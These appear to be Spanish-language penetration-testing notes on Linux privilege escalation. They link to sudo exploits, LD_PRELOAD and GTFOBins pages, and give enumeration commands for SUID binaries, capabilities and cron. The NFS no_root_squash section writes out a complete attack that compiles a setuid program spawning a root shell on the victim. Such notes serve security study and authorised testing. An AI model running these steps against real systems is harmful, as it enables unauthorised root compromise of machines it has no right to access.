# Linux Privesc

#### LD\_Preload Privesc

{% embed url="<https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/>" %}

{% embed url="<https://www.youtube.com/watch?v=YbDfGpsutrw&t=1920s>" %}

#### Sudo binary privesc

Sudo <1.8.28

{% embed url="<https://www.exploit-db.com/exploits/47502>" %}

{% embed url="<https://www.youtube.com/watch?v=zHeMEcKU7tA&t=2431s>" %}

Sudo <1.8.30 y pwfeedback habilitado

{% embed url="<https://github.com/saleemrashid/sudo-cve-2019-18634>" %}

#### SUID

```bash
find / -perm -u=s -type f 2>/dev/null
```

#### Capabilities

```bash
getcap -r / 2>/dev/null
```

#### NFS Root Squashing

```bash
cat /etc/exports
#Si una carpeta tiene la flag “no_root_squash” se puede montar con NFS y los archivos serán creados como root (id 0)
#Desde la máquina atacante
showmount -e <IP_VÍCTIMA>
mkdir /tmp/mountme
mount -o rw,vers=2 <IP_VÍCTIMA>:/tmp /tmp/mountme
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }’ > /tmp/mountme/x.c
gcc /tmp/mountme/x.c -o /tmp/mountme/x
chmod +s /tmp/mountme/x
#Desde la máquina víctima
./x
```

#### Tareas programadas

```bash
cat /etc/crontab
```

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md#scheduled-tasks>" %}

#### Docker

{% embed url="<https://gtfobins.github.io/gtfobins/docker/>" %}

{% embed url="<https://www.youtube.com/watch?v=s5SMKhik_UE&t=1445s>" %}

#### Enlaces adicionales

{% embed url="<https://gtfobins.github.io/>" %}

{% embed url="<https://gtfobins.github.io/gtfobins/tar/>" %}